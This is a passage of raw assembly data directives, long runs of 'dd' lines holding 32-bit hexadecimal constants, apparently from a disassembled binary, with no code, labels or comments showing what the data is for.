1200CDFAh, 0AAC4A476h, 7A8507A2h, 871CC1h dd 52586AB9h, 0FFB85E13h, 473BB440h, 0DE9353h, 6E31F2F9h dd 0CA5945BDh, 5EFBE000h, 6238837Ch, 0AB50518h, 0A43E74DBh dd 8C007A34h, 7B1921BCh, 73D2ACBEh, 7DA30027h, 9154B759h dd 0E700A538h, 1D42399Ah, 90224FC7h, 7C1C00E8h, 308876D2h dd 9800EDD4h, 0FCE0B139h, 94072CA2h, 15690690h, 6A79A9FAh dd 0DAFEC600h, 4BAACA94h, 7DA09002h, 99EE00E8h, 0DD2E8A1Ch dd 8000E12Ch, 3B63EA0Fh, 4C191Dh, 22FDEB56h, 0AF1E77Eh dd 3F1FE806h, 696D83h, 0D1CB7748h, 9091F4CDh, 0E8BEDE00h dd 0D54656B2h, 70DF8B1h, 72F262E2h, 3203A05Ah, 80002DDBh dd 35144A60h, 74339127h, 36840018h, 0A1831720h, 79124C2Dh dd 4CACDF3h, 0B1E86E30h, 16076B8Eh, 723E5880h, 55626A90h dd 0AE5F1CCAh, 3FED40C5h, 929524E0h, 21E8E400h, 0DFD74430h dd 0C45F0BA6h, 1383DD59h, 74F8785Ah, 5B0033F1h, 68346F8Fh dd 7AD01E4h, 5F21D30Dh, 0AF6510B7h, 9AF0A1C8h, 2A23E00h dd 75CB96F0h, 0D9410913h, 0CD608055h, 3E00B7C5h, 0B83A63D3h dd 0C4862Ch, 0A6274B4h, 77AC9B2Ah, 0F00728E6h, 0CDD99CD6h dd 7C839420h, 0B45A00D3h, 1EC8259Fh, 69007EE5h, 0AFFC121Ch dd 602349h, 2F6C941Ah, 0CD5A791Fh, 2D40B700h, 0C586B175h dd 0BA290069h, 0D3359DFEh, 0BB03741Fh, 436AEC78h, 0FC02E5A3h dd 60F2B673h, 7EB9A0h, 30CE7699h, 599C319Ah, 0D0164E4h dd 8F877009h, 3ED053EAh, 0DFA9027Bh, 11ADFBD1h, 5070F0C0h dd 21B01D4Fh, 0DBCCA042h, 9A73502Eh, 8811C022h, 24803F4Fh dd 0D0631803h, 0A18CAC1Dh, 2087F501h, 0F03C32E1h, 84B20D13h dd 5C2CCC00h, 98D34FB4h, 6B3400FCh, 2481A89Bh, 62121779h dd 24C00B7Eh, 90618F05h, 3411007Fh, 6B1B736Dh, 9F4C6E0Eh dd 16B600C4h, 551FFB83h, 341400B0h, 238BD180h, 570F6E56h dd 37A73Dh, 0FB27F2CDh, 0FC171577h, 290430EAh, 0C4399E83h dd 85304869h, 82075C9Fh, 0BAA08E1Dh, 6D0B11h, 69AFF346h dd 44ADEDA6h, 30B97D60h, 788ADD8Bh, 5F76007Eh, 9E62DCABh dd 8C006F97h, 0AEB2B03Dh, 2E1DC3h, 472F1639h, 890C0291h dd 74867500h, 4B92E948h, 0F87000B6h, 0CEA81760h, 0E0979879h dd 73CEA83h, 5B5168BCh, 0E97530C2h, 0E41C53FDh, 0E3403FD9h dd 9E843AFCh, 93BE0126h, 70FD521Fh, 0E40BC09Ch, 8D005DF6h dd 1237421Ah, 398E3ED0h, 47995CC4h, 4849105Bh, 91004B04h dd 0F3A37DC9h, 55DA1Ch, 7F267539h, 0F7324443h, 9D00AE7Bh dd 134B4580h, 0FA57791h, 0ACE26E58h, 88BE2300h, 59FCD498h dd 0EEF65B00h, 32CDEDE3h, 64FA1FB5h, 0F80680E2h, 2C3E3098h dd 2D3A0E72h, 44FB8045h, 75498FACh, 96D300A1h, 135AEDDBh dd 3F0F7C1Eh, 0C0FAFCB6h, 4D4B438Fh, 0C7FD00A1h, 97802F2Ah dd 0DE75948Dh, 0D4E5C300h, 6A938C1h, 1A8002Bh, 0F22F15D5h dd 0CC3AE057h, 0FC84807Ch, 559B3266h, 61050253h, 8E62A73Bh dd 68F824C3h, 0DE1D19FDh, 0F813BDh, 0C943C110h, 27A90h dd 0D2C3CF18h, 0A05A76E3h, 2B50AD00h, 37DF6FFFh, 0EA9709FAh dd 8509272Eh, 0D96D800h, 0A800FF8Bh, 51C15D71h, 0CFD120C0h dd 3820065Eh, 9A496647h, 2E004A78h, 0C2EC53A9h, 0A0DEF103h dd 8819CCh, 79427672h, 7B15FFA7h, 4CEA7403h, 0A0943E7Fh dd 261F0765h, 5F0434h, 825091D5h, 7009E5E4h, 2ADCDA85h dd 86009A00h, 0D57FB23Dh, 0E93416C1h, 11FC37h, 950751D0h dd 0EFBBDBh, 23C270BFh, 9F3FCD13h, 0FAFE1500h, 0BE1C0879h dd 245F1DB6h, 95B40031h, 98A5293Eh, 0F801C100h, 0AE0A34F9h dd 26B0FAC6h, 0AF3942h, 8FAFE159h, 0A478EE82h, 0F25D661Eh dd 34954A81h, 0B0504C56h, 53A074h, 0BA0DF80Ch, 0BD4B3BFCh dd 1F91221Dh, 0D9626F00h, 863D11h, 0F5F25A7Eh, 0B195A796h dd 70FF7300h, 3BC5FBD2h, 0B7201E5Eh, 40DE5E7Dh, 90B6D63Ah dd 0A8E06159h, 96F61A1Fh, 0B0669EC4h, 84E10DC0h, 94955423h dd 3B9371B7h, 440E827Bh, 0BA40C2D6h, 81B5E0FAh, 80406F39h dd 6D128661h, 3143E8h, 5B26A3C0h, 4D251EF8h, 6C496E1Eh dd 51D7F101h, 0F0FC47B2h, 1CD1F681h, 0FB5CA7A8h, 1BA9A80h dd 1EFC54C8h, 80575F3Ah, 9817D1B1h, 1764BFC3h, 731B296h dd 0E0FCCEE0h, 5E8E10ADh, 87153E05h, 0DA06D25Ah, 768EA58h dd 7441E880h, 32D8708Bh, 0CE4906ADh, 21DE00F0h, 0F8835C1Eh dd 0E6A60062h, 0B0A88F7Ah, 2001945h, 956C4211h, 0D77CE3h dd 0C80803BBh, 58CEB623h, 0AC00CCE2h, 61065B0Dh, 2781F14h dd 0C05732ABh, 5C0208Fh, 6E00C351h, 10BB625Ch, 9448DCBh dd 362ED657h, 76BF4C00h, 0AD008F37h, 781507C7h, 24AB9F47h dd 1F7448A3h, 21B8401Bh dd 0EAF57F67h, 17252D00h, 32B7F69Ah, 3A4F447h, 0D7288C78h dd 0D8006830h, 6A3BDA5Fh, 796F2h, 793C1432h, 0D55072D2h dd 80D6B03Bh, 0A8A9DC64h, 0F7B70847h, 4373E4h, 30FBA52Fh dd 0C7BD3C2Ah, 9D5BB500h, 5952E6D3h, 6E9C00BAh, 0AE3870D1h dd 471A456h, 0D78D449h, 30DAEA9Dh, 7F2D0h, 0F5EE3065h dd 44E290BEh, 0EBEDF900h, 120021Ah, 4600045h, 77FD7205h dd 0D0006DF4h, 5A2ED54Ah, 0FEDCE4h, 1E337670h, 5BD18CC5h dd 36479301h, 266B350Eh, 0E77CEFCh, 199D5EE2h, 0D9182120h dd 0EC928F3Ah, 33E33500h, 0C1CC3843h, 0B555009Dh, 192874E0h dd 161360FFh, 0FE000535h, 224F8956h, 0FB181D71h, 0C3074376h dd 0F19085FAh, 32007CC6h, 0C1DD7488h, 3D2D66A9h, 85000D05h dd 0D0133BBCh, 0A2763A6Ch, 0F082819Dh, 8AF0AE23h, 9AEC2824h dd 0DC2F00E4h, 0CDC065DFh, 663E1FB5h, 126DD868h, 14002B58h dd 5BAB06D1h, 574800B1h, 8482DCF9h, 7B58E849h, 26EE099Ah dd 0C5C4006Eh, 48A4615Ch, 0E6002045h, 8663BE79h, 1D1ACA8Eh dd 42180CE7h, 88E30A10h, 0DB96800h, 5955C4h, 373F5356h dd 9AA1E298h, 6CA08B00h, 0D0EF491Dh, 71820732h, 607E35E7h dd 0D2E9C2D4h, 1C00ACE2h, 0EECC379Dh, 8E4F4Dh, 0BACF4915h dd 546B4253h, 0F527FB3Eh, 0CE80F500h, 0A70A180Bh, 1777CE6h dd 0E82C9843h, 0E8335556h, 20062FCh, 0B20F8928h, 360452h dd 0C706307Eh, 0F7770109h, 8E769D02h, 0E019C0BEh, 5C28DBh dd 7DC4C59Eh, 0DCEB1CB7h, 0BD42DB0Eh, 0CA8E015h, 3C2B7B48h dd 0EC8045A6h, 3605AA2Fh, 61035DE4h, 0B15F571Dh, 8150FFD0h dd 0DBE76h, 77834647h, 4F80D350h, 0F0230300h, 0D2A12018h dd 874404F9h, 9738B596h, 0EFFCA024h, 0E500F3DDh, 0B2AFF75Fh dd 0E0314C7Ch, 12740096h, 23EE8454h, 2E0E5B52h, 6022D7D5h dd 0FC3FFD90h, 65FE00F5h, 0AC0426E2h, 5F188AA4h, 0E6AE939Ah dd 3B81007Bh, 0F8EF38DEh, 0C7001723h, 62562A15h, 3AF75313h dd 10C8BBB6h, 54DD7D00h, 9F2AAF29h, 70190600h, 0E0F0748Ch dd 0A90800F5h, 3ABBC6BAh, 7900BE5Dh, 12E10947h, 710361h dd 8E0B80A4h, 2050691Ch, 8F46000h, 99AEC4BFh, 0FD190052h dd 0F8E1AD5Ch, 0BB01CF91h, 7D61A7CCh, 0ECFC0204h, 32AA02B1h dd 2D87841Dh, 0E0FF10C8h, 851E4A00h, 0DF561F3h, 0EA7970h dd 7D9E9881h, 0BAD241B3h, 0FF0231F2h, 0AEEFCE35h, 0C07CC8ABh dd 0BC5000BEh, 987132A1h, 0A53DDFC5h, 80768972h, 9288817Ch dd 8C34A02Fh, 27060C91h, 0CF08E6B9h, 0F50EB0Ah, 0B5001017h dd 3F55BE3Ch, 9FA607FDh, 0ABEAE858h, 8B5B2B87h, 690E688Fh dd 42244FE3h, 0ACDB200Bh, 63DB809Dh, 689BC3Ah, 96AB5F6h dd 0AF0020E4h, 0EED46BB6h, 0FA74AEC9h, 24F85C76h, 541BA282h dd 46C1F848h, 0D9A6FE00h, 5703EB88h, 292A6016h, 67F98B7Ah dd 9A00C4EEh, 0B2CEDCAh, 0EEE1F33Ah, 47EE6Fh, 5B2D8B83h dd 0B517B313h, 0DF8C58h, 1934EA80h, 50B9A7h, 54AE63E3h dd 8E02381Ch, 6A87EC16h, 2E9402EAh, 7DC03EA1h, 301843EFh dd 0A74526Bh, 966D1EABh, 2EB98064h, 9BC979BAh, 11D5C51Ch dd 0FF9B6C0h, 651B37h, 0FA1E8E14h, 2F65A69h, 4F399500h dd 0BF4919BAh, 0F54E1FB3h, 1848C3CBh, 26A05531h, 5F001AEAh dd 0C430C782h, 4C11BC02h, 0D8046B44h, 0A2D2636Eh, 7B7A0CB0h dd 0F0910D3h, 9BBBD548h, 8869D200h, 0D7037FB7h, 0A20DDF37h dd 5F72A070h, 92F0026h, 9949D287h, 0F8EF2169h, 3A00DA5Eh dd 0A919F3Ch, 5C2C45E0h, 0CA00989Dh, 997F5650h, 430702D5h dd 0E51D4F1Bh, 0E0ED5E22h, 1B3A1A3Ch, 11CC7061h, 0ECF0F8B0h dd 897DF412h, 0B2740080h, 5C303B5h, 83A12FA8h, 66542E00h dd 0DFFA67EFh, 0E1AA00DAh, 0E56DF9C3h, 0D21EA99Ch, 88C05D06h dd 7B339950h, 0A6400DA5h, 30C802C9h, 0CBA0C180h, 85787C05h dd 65D0B50Fh, 4E071648h, 0A1701E9Dh, 249475h, 0BE1DF1AAh dd 803AD2FAh, 3331E600h, 8A3D0692h, 0F1F200D3h, 850BD8CAh dd 0AE00B574h, 397CF3E5h, 93A1E3h, 7E29E776h, 0F651ED6Eh dd 170067EEh, 8DE5FCD8h, 90DA606Bh, 185C04B0h, 0C012A254h dd 3411DECBh, 0FEB5D300h, 0BA89E40Eh, 6046048Ah, 0C86715C1h dd 850B71FCh, 8AC7Ah, 9574FA3Ch, 0A7F61F99h, 0DD07496Bh dd 36837C20h, 0E900AB23h, 0ACC127BEh, 70806022h, 81F40E2Ch dd 0C4237FECh, 0EEFB93CEh, 5985FFF0h, 1D0A2309h, 0C80800D9h dd 89DDCh, 2F6EF835h, 0C29E748Dh, 0B91C1800h, 0FE85CD71h dd 1CE8941Fh, 291B8060h, 8BA8F4F5h, 72139400h, 2E4458C9h dd 0F3200051h, 0F8BA0A1Fh, 21004B19h, 45AECF2h, 921D495Dh dd 0F6080000h, 3E43DA1Ah, 3F0021E5h, 4CFCEC50h, 0DFE2EEh dd 8ECD9EE3h, 9DB5B0EAh, 0ACE65D03h, 0AB0AF486h, 462F0B8h dd 0D79030h, 91073F9Eh, 78FC9C8Ch, 0A45C42B8h, 553A5Ah dd 65C6EA2Bh, 9E4B0Eh, 4EA5A2C8h, 0E521C2D1h, 0B29C20FDh dd 7702C4A4h, 17A252DCh, 84F4C86Fh, 0A19D4C88h, 0E2953B02h dd 0D241246Ah, 1F470F8h, 75077100h, 2D9F9CE4h, 0E8C30381h dd 0ED89CC1Bh, 9B5F839h, 0DA09BEh, 0BF74110Ah, 0E7641652h dd 0FE550075h, 0D3F3803Ch, 5A279C00h, 611BC210h, 0A5EB25C4h dd 6A90CC80h, 1200B526h, 2C11241Ch, 32ED8Dh, 4918AEBAh dd 0D885C986h, 0C3508DA0h, 458F3D0Eh, 8E59A0D5h, 985FD39Ch dd 0E5700079h, 3D4EF378h, 0F0EC5A0h, 0E096F250h, 0CB6314C9h dd 5C2B3BA8h, 0B83C3325h, 0E89C4072h, 0C607C60Ah, 0B2153038h dd 668312h, 0FA6EDC55h, 0FC957146h, 64E248h, 0B84FB7EDh dd 1823FD13h, 189F5256h, 0C7018432h, 0C025512h, 0B6D0B27Eh dd 631011Bh, 1443ECBBh, 0B58641A9h, 0FBDCFC66h, 0E34D6000h dd 0CA57C0BFh, 2F3B00C7h, 2C0F0498h, 2D747A6Bh, 0B016CF05h dd 7780FD69h, 7306Ah, 8ABF63CAh, 0E57D5C8Fh, 975A501h dd 37D94EF7h, 78C3CF70h, 58B7008Ch, 677C734Ah, 0BC00449Bh dd 2CC2945h, 0FC85427Fh, 26716Fh, 4E15B9C2h, 49E0ACCDh dd 0D9B79A00h, 0BC4125E2h, 0FCECC1h, 46FE6C3Bh, 0B4AEA644h dd 0D0B2D716h, 0F7C5E200h, 1FE552h, 0DFB04214h, 0DAC1C32h dd 46EB0A8h, 0CA7BB07h, 3B10EB78h, 0E31D03h, 0F0D3CCB1h dd 360DD95Ah, 66241B00h, 32620F80h, 48FE28h, 86389EFFh dd 0DE6537CBh, 58CD664Ch, 0C3017814h, 6197D1FBh, 0CDD03BB4h dd 5A500BFh, 643F9528h, 0B200C0A8h, 0D00CFF66h, 56D387h dd 55EE7398h, 963E8F7Dh, 0D42B8B00h, 31A49CC3h, 34745Ch dd 72BA59D8h, 0E6233D40h, 0C8A0F930h, 0FCFACFh, 893367Ah dd 0D1A67424h, 0A82D4102h, 0C01F267Eh, 2436815h, 27FFEB80h dd 20C0DC06h, 0DB0FE5C9h, 8EA52416h, 28079391h, 5E8053DAh dd 27CC98h, 38E4188h, 250D5BC5h, 0D015B100h, 847C2316h dd 0BCE51313h, 0CD900B8h, 81CCD672h, 45842E4h, 92EE00A4h dd 353C0E78h, 0E13D0B0Ch, 0B7805697h, 53150D82h, 0CB2A0300h dd 0E369A6D0h, 0C40E023Ch, 4B21F4D6h, 206EF5C0h, 0F239040Eh dd 9C172018h, 33220FF6h, 9ADA8C58h, 0C22D35C0h, 0AF94A400h dd 0E5CD0D34h, 392801C9h, 0C4E2383Fh, 0ED60CCBCh, 78BF73Bh dd 25192671h, 939947B0h, 0E2B70087h, 0DD8222B8h, 7638D879h dd 5A8D80ADh, 6FE5D1DBh, 0F3BF1F96h, 79374003h, 0D9F16465h dd 0B4E2A800h, 27A6DA3Dh dd 0F6CA1FFEh, 904DC0CFh, 23B77A41h, 0C69CE800h, 0FC8FBCA9h dd 0E00600DCh, 8805BDEEh, 6600EA82h, 6704232Bh, 89F3A5h dd 0BF95994Bh, 0B226AA06h, 6DD40B09h, 98D100F7h, 0C0167Bh dd 0FEE23F2Eh, 10ECCAE7h, 13015EFAh, 0D699F2B0h, 0A0F73E03h dd 0EE92A4E8h, 32AE0018h, 2E3C7EEFh, 0E5002317h, 0C74DC0ADh dd 0E0F4B857h, 0BCAA00ACh, 230E83D8h, 9000729h, 7B3455EBh dd 3DFF9FAh, 12204AC9h, 95C0B25Bh, 0AB0DE5Ch, 0FDE4D900h dd 9C374922h, 19F0077Fh, 0F014B5E6h, 0FA049DB9h, 4D809CB4h dd 0C57F367Ch, 0B1100E7h, 0ACE8D8BFh, 0AF018DB1h, 0FA6D5267h dd 4C281B54h, 35F6804Bh, 9F7B8241h, 3F206B1Dh, 0D40600BEh dd 248B0B61h, 0BB7B0027h, 9EAD8956h, 7339B946h, 6A2A0355h dd 88E2F780h, 4EAABF8h, 0F81EB26h, 93BCA416h, 7D096417h dd 4FAA2800h, 0F1E494h, 8859955h, 8A44110Bh, 813A9304h dd 0CCC7CCAEh, 0F806387h, 0D519C7h, 0BC75CB68h, 7C7A708Dh dd 0EEAD8300h, 98A591EBh, 0A11A1E67h, 0DE0E00D0h, 0BEE86F7Dh dd 0C525337Eh, 12148093h, 7CD5BFFDh, 13D4A13h, 205829E4h dd 0BED2C890h, 0A0AC29CFh, 0A90D028Fh, 4BC1C09Dh, 0FCCF1510h dd 5CF36700h, 1BF6C9F7h, 0F2FA0370h, 0AA278B5Bh, 423AE698h dd 6937E4E3h, 5FFC4F07h, 0F4A0E101h, 175ECBh, 1FFFBC2Eh dd 68464E39h, 348183Bh, 1622D90h, 548AC086h, 0D9E800B1h dd 0F208DEC4h, 0C61E9920h, 98009063h, 0D7836E66h, 594E0357h dd 0A5C30F19h, 0A926D1F0h, 0F44C9B00h, 0B43CEE35h, 7C6F00D8h dd 0BD96B1E6h, 8E14AF6Bh, 71B0D6B3h, 5E40450Bh, 1F70CA14h dd 0AD4B8504h, 3FEC0025h, 24EF3630h, 0CF17A00h, 0CBAA6B6Ch dd 1AEE87h, 6647DF42h, 98573A38h, 2C6D8E00h, 910D6530h dd 450A00D8h, 3987F31Bh, 411FFF73h, 81F8DD06h, 8E2E48E2h dd 1864D79Fh, 2099128Ch, 7026A124h, 50E8C830h, 58EE5Ch dd 7D3EA509h, 7038639Ch, 0E9A70076h, 0A10DF64Dh, 1F00869Ah dd 503A5460h, 5639ABh, 0F8EE6748h, 0C89FCD43h, 0B603FDB0h dd 5C4F7BC7h, 0D07CA38Ah, 1C1899F9h, 80F3E08Ch, 33E95B63h dd 0AE7788D6h, 9D143200h, 3D10FA3Fh, 1CB1F01Eh, 7DBC16C5h dd 9A01F380h, 61877B89h, 836A3700h, 5D042555h, 0AF1100A0h dd 0C7B21E82h, 8900E935h, 91E8097Ch, 0F196570h, 83C0E06Fh dd 0E9EF90E0h, 59021B12h, 4F9CA762h, 60AC480Ah, 0A861268Ch dd 0C07E1EF4h, 0E3D84D27h, 0B2012F25h, 51D7F093h, 0E6D0686Dh dd 993200E5h, 43D1B1A0h, 0E100ADA6h, 6C5B0979h, 0E7142Dh dd 6299CFFFh, 0C8899BAFh, 15982E00h, 3E8A4C41h, 94E2B0ADh dd 0DC803DE4h, 60394389h, 0F0004725h, 30911064h, 20992EAh dd 52AC0A3Ch, 0D8A09553h, 3A2239B2h, 702AF400h, 1A5D85EAh dd 7FA7453h, 62AF7C02h, 3F9470F8h, 593EAD26h, 8B3C8EF4h dd 0C54947F9h, 0CDFD805Fh, 62FABEA3h, 14378805h, 79E0DCD8h dd 0B19D9504h, 64A0A6F1h, 37E8FFh, 8D87F931h, 0C2735B11h dd 0A4009A90h, 0CE400F13h, 1FAFFB3h, 5883271Dh, 0D1F5EF07h dd 9B77DCE2h, 0EE9C9E00h, 4B96B210h, 0C97000C7h, 36882CC0h dd 40056A8h, 2FF9B17Dh, 750430Dh, 0D8D3F2E5h, 0FE2E8128h dd 1EB0EB62h, 8107866Fh, 0A6B79261h, 3D9A67D0h, 914C0384h dd 437FB4CBh, 3E240AB8h, 74E7200h, 585FE9E2h, 0EDB0757h dd 0A042B7CBh, 4155C7C8h, 60125A1Fh, 36100C98h, 0B51A133Dh dd 91BB00E2h, 0A6A0861Eh, 0B3716007h, 5110337Dh, 790A95h dd 1556CF76h, 1790134Ah, 0BC00F7E2h, 34ED7D74h, 1C27F0D2h dd 4F8985BDh, 7CE0E1D8h, 8BF54457h, 0FC867D00h, 769DDC7Eh dd 58F0981h, 28A06A2Ch, 95B30831h, 18C1558h, 0A19BE587h dd 58E2F123h, 0C8B04Ch, 0AA384966h, 1C5C368Ah, 10079C24h dd 3BB2E100h, 4A1724h, 4DFB67A8h, 2AA4ED93h, 13AC7D00h dd 477A61B7h, 0BEF3018Ah, 0C43A1159h, 0C0C371ECh, 0A7780FDh dd 36DF30C0h, 4F3C3E9h, 325B736Fh, 9FECD078h, 160090DCh dd 2BE6A42Ah, 309AD466h, 9E49F8E1h, 2D6734EFh, 0ED72C0B1h dd 74A458DCh, 0D1E8006Dh, 0C4FB98F4h, 38E0D20Ch, 230BAD00h dd 0D59C3008h, 1AFF013Ah, 0AC75C381h, 0F9A0505Fh, 7000DCD2h dd 90C54499h, 24D8E40Ah, 1D1C4081h, 2248001Ah, 1D84E296h dd 4BD28003h, 0F803566Fh, 0E08F49h, 9579F6Dh, 4FA78E3Bh dd 51B18730h, 2F9D4Ch, 0C83E149Eh, 43F0F13Fh, 68F22000h dd 9487C4C9h, 4D643BE0h, 0C1F0516h, 79518195h, 828EA000h dd 16E540C8h, 0C4300B8Ah, 7200E8EDh, 0CC326557h, 0C46DCA26h dd 272C2000h, 3042E2h, 7E872439h, 480673D8h, 0A82D6904h dd 0A0AC7B52h, 4BEA8E00h, 0E5D556F0h, 0BBDE683Dh, 18007999h dd 88462EECh, 0EF1FB61h, 0B036A8DFh, 83262AE0h, 7E0C398Fh dd 0F06206CFh, 0EFF1038Ch, 0F0F2C460h, 2B30C5D8h, 87FBA70Eh dd 663A6016h, 8FAB2Ch, 9FFDDCF2h, 270969C0h, 0A52F5E00h dd 0F0BBAFFCh, 461A00ACh, 913AF502h, 7E3A37F1h, 78D400FEh dd 0E8B747D0h, 351F0404h, 0C0848109h, 0EDACC570h, 2BE06D7Ch dd 7B9A9000h, 1FFD4B66h, 65840049h, 34E09D80h, 0FB00ABCFh dd 4FDB306Fh, 14A88Fh, 7EED4560h, 24C9AE1Ch, 8016713Dh dd 2C4FF93Bh, 6B9FFEh, 0FA7A56ADh, 8B81019Eh, 9784CF01h dd 29683443h, 475D0h, 0A1A22E0h, 0F4C03B1Bh, 0EFF23900h dd 0B993E305h, 61950AEBh, 0AAB07F04h, 918401E0h, 1990CB5Ch dd 0E0C0F24Ah, 39DCEEB3h, 0C02AF7C9h, 3F2A294h, 0F9256F7Eh dd 0BA093C4h, 9B22F5B2h, 6BBB05D7h, 0D1B7DF84h, 40F78A24h dd 0E7602C24h, 31F17400h, 45A5793Dh, 51ED006Dh, 7DA094F0h dd 3A00F8A4h, 401C5A78h, 0A4C989CCh, 94BAF02Ch, 1C0242Ch dd 6C291DABh, 78C84056h, 0B4008344h, 0A896198Bh, 0D2C2D3h dd 0D96EED0Bh, 6E09791h, 5EB69501h, 0ACC48D47h, 0F658BCCh dd 0C5BED1F3h, 19E00E8Fh, 49334B2Dh, 7D694A0Fh, 3073A00Ah dd 0D325AEh, 0A877DEE6h, 0AC0E39DAh, 5C0181FAh, 0F2E3FE9Ah dd 0D54097E8h, 1EAADA52h, 7D88F3h, 0D5AED154h, 701252Ch dd 0BD3C94B0h, 2028D7ABh, 870AB109h, 1B80E400h, 0F50B776Ch dd 749C0EEh, 0F330B831h, 5971CEh, 0DD5CFFC8h, 16EC833Fh dd 408BCA00h, 24DF4D78h, 0BAF1009Ch, 6050453Bh, 980BC390h dd 0E0B4D530h, 0E60F2DF0h, 0AFEB0015h, 0DEB0CC28h, 0BE00131Fh dd 426BCE02h, 622F1h, 0EFA30B11h, 0EEA02866h, 97D6C30Bh dd 0D2CC836Dh, 0B031E805h, 19A60136h, 0FF9A2177h, 0E1464C9h dd 34D61700h, 8C2DEAF3h, 931900F2h, 40868E60h, 7EB849C7h dd 0B6B973Ch, 20BCC05h, 30FC7108h, 9054788h, 0FF8A9BB7h dd 0E5B4B0h, 2EFDBC8Ch, 722DFEFCh, 7FC8C31Ch, 0A8E817C1h dd 0F0823A4Dh, 0F21D9162h, 30F868E1h, 7000AD18h, 0A789EC8Ch dd 904CF72Dh, 0F18A01B4h, 0D4AE1179h, 0C9702499h, 0B3238200h dd 6696F38Dh, 925E254h, 0D715DFDBh, 8CA66814h, 52A6AD00h dd 4A974186h, 135503A5h, 0A28490F3h, 7DC0BE84h, 291F54Eh dd 80633018h, 3CE0F14Dh, 0AB2F1259h, 7F5E20h, 0A4083633h dd 247A5156h, 0C60035ECh, 0B231E6F3h, 3C3D2CBh, 0D77F16BBh dd 61C0FAE9h, 8B00484Fh, 73C19687h, 14D64Eh, 59CA2804h dd 279577F8h, 267E4200h, 0D1570DA1h, 0E7A013A8h, 0C0D41D86h dd 0F7628E8h, 6902C1E3h dd 0B5566A6Dh, 4D4CC0C6h, 63AF0E34h, 0F329CAB2h, 60D73083h dd 9E00107Eh, 955E9BE4h, 779A38Bh, 772A59CBh, 0CDCCB0F6h dd 38732907h, 93654F00h, 0F75C314Ch, 484400FAh, 9CDADFCFh dd 3BE61B9Ah, 0D41F4094h, 305FFF40h, 41381Ch, 87FA3DCCh dd 640D9C77h, 0F9ED0907h, 88B0489Ah, 0E52AF3h, 518D89F0h dd 4A6A92B2h, 0C9EA71Dh, 0D875B040h, 1CB8FCA4h, 80684988h dd 2C1C4377h, 8502D3F4h, 7084C3D5h, 18C56CAh, 0FDACC0D6h dd 73A67h, 0D9200276h, 5132FD2h, 7F511E29h, 0A1DC01EFh dd 0F458353Fh, 0BA00DC0Bh, 4277861Fh, 42C7F5Dh, 2B85D6AEh dd 0DEB4D062h, 249009A8h, 8AC1F460h, 0B27008h, 46596FD7h dd 4328D0F3h, 891FF702h, 48912A41h, 1CECB77Ch, 180B96C3h dd 0A02498E3h, 90E73001h, 0DC413A09h, 97CFF3C8h, 804F0880h dd 1E4C93D7h, 8D1D1411h, 8B050090h, 7A1908A2h, 76DC0048h dd 0B0F19D66h, 8E004DA1h, 2D440A7Bh, 985D8DB6h, 1F3509A0h dd 0AC849541h, 0B70280B5h, 0A2004940h, 0CF8774BEh, 97BB9Fh dd 0E07A9014h, 6FF98B16h, 73C79D00h, 0DAEC96F1h, 0D341F4Ah dd 84B7412Ah, 0C81871A1h, 0FB00681Ah, 0FD3D44CBh, 34D6F03h dd 4A9D0E57h, 93A8141Bh, 951705E4h, 0EE1610h, 8E9AB5B9h dd 0BF4A8156h, 66520401h, 0C5D50A68h, 1CE3D0C0h, 0C03D518Eh dd 32F7625Ah, 0ED09D21Ch, 0C054C12Ch, 9473110h, 0F98A0541h dd 0F6A3B420h, 92006166h, 0DEBD0311h, 6012E2DAh, 0FDB81004h dd 8A0CF348h, 78F95DABh, 0B7B9018Bh, 79AD176Ch, 2838D0E3h dd 8910AC3Fh, 0D226865Dh, 0C44A80h, 0E0B29A74h, 0C101DF0Bh dd 0B0B18B97h, 0C820D928h, 0D41400ABh, 0AD8730A6h, 523DE568h dd 2D72000Ch, 78A5097Ch, 0AF580545h, 803931DEh, 35535A98h dd 0E7533C90h, 0D20F18F4h, 9B1F9A79h, 30B0806Ch, 31CF9846h dd 71089312h, 0C28D5C82h, 0EFB461FFh, 4F003C33h, 0A6D777E7h dd 9CA0D6E9h, 0D52FDE5Dh, 4AB40459h, 11DB7C80h, 27D20080h dd 8FE7C18Bh, 37001567h, 0C20976F0h, 16917E4h, 6C4FA40Eh dd 0CC4853BAh, 0F900AD23h, 4EB87976h, 3F5CBD34h, 5124FB46h dd 0DE0F03F0h, 5916F3Fh, 388BE0A5h, 0BEB84700h, 8C10E189h dd 2E5E000Ch, 0FF736C7Ah, 2A7BB469h, 9D08773Ch, 3B80899Fh dd 0A72D6D3Eh, 1BCE4873h, 0BDA3D900h, 2363AC88h, 40C4CC25h dd 0CFCA48h, 3B102893h, 50B33040h, 0EAF00200h, 2F0F49ADh dd 1AE40078h, 5B04E287h, 0C004E34Eh, 0D122EA4Fh, 3F16E4ADh dd 16704E1Fh, 0A1F6E740h, 5609372Bh, 73218C14h, 960F7E70h dd 0D62CC0DEh, 20767C80h, 3D540B83h, 5C485B0Dh, 174FC023h dd 0ABA41007h, 43A785F0h, 75AC1C79h, 0EC048057h, 17826374h dd 1D558D07h, 4F80D507h, 749EDF88h, 338A0BA0h, 0A280EB40h dd 9D27A6A7h, 4835Ch, 0CC168421h, 4C6C23h, 4AB2FCD1h, 0FA59D3Eh dd 6A93A41Fh, 8AC49900h, 9A0544h, 0EB1C5D25h, 1A1F9765h dd 7DDEAA01h, 310D2A2Fh, 0CD17446h, 1325AF92h, 0A205C6B0h dd 87C51A04h, 5A088C40h, 19DEF39Dh, 8D89537h, 0C02B2E93h dd 0F74D3F01h, 0F1BB6813h, 271EC06Ch, 0C6195625h, 0BA8300B0h dd 46D33641h, 0E200F69Eh, 9656DD79h, 1DB3BC4Ah, 8786CFAEh dd 807B2F5Fh, 0EC221181h, 0C16E1C00h, 7A4239ADh, 0FD1600E4h dd 0EB78F80Bh, 0EE16139Dh, 0A716757Dh, 17D80Bh, 0D5E280FEh dd 0D41E1EE4h, 5443408Ah, 28C2297Eh, 3B83B700h, 20F5F621h dd 40C502C6h, 0BD6AFB53h, 4900C078h, 8D637BCFh, 9C522FFh dd 79548878h, 8600E058h, 63E19F11h, 0F85577h, 62DB13D8h dd 0B5FBA28Dh, 94EF9300h, 208F1F73h, 9038E9CCh, 0CFA29200h dd 0E9A10C0Fh, 453DD3EEh, 0A41A0166h, 8425F7F3h, 0CF003422h dd 6DE05685h, 0DD094AB6h, 59E126h, 0A2732A2h, 0E2F0790h dd 1092CD87h, 96F856C9h, 9F91C400h, 0ACFD99A9h, 793325C8h dd 2400E0F8h, 4642FEB2h, 0B74EBEh, 108FCB7Ch, 0F5DE6C87h dd 3F095978h, 0E0851DF8h, 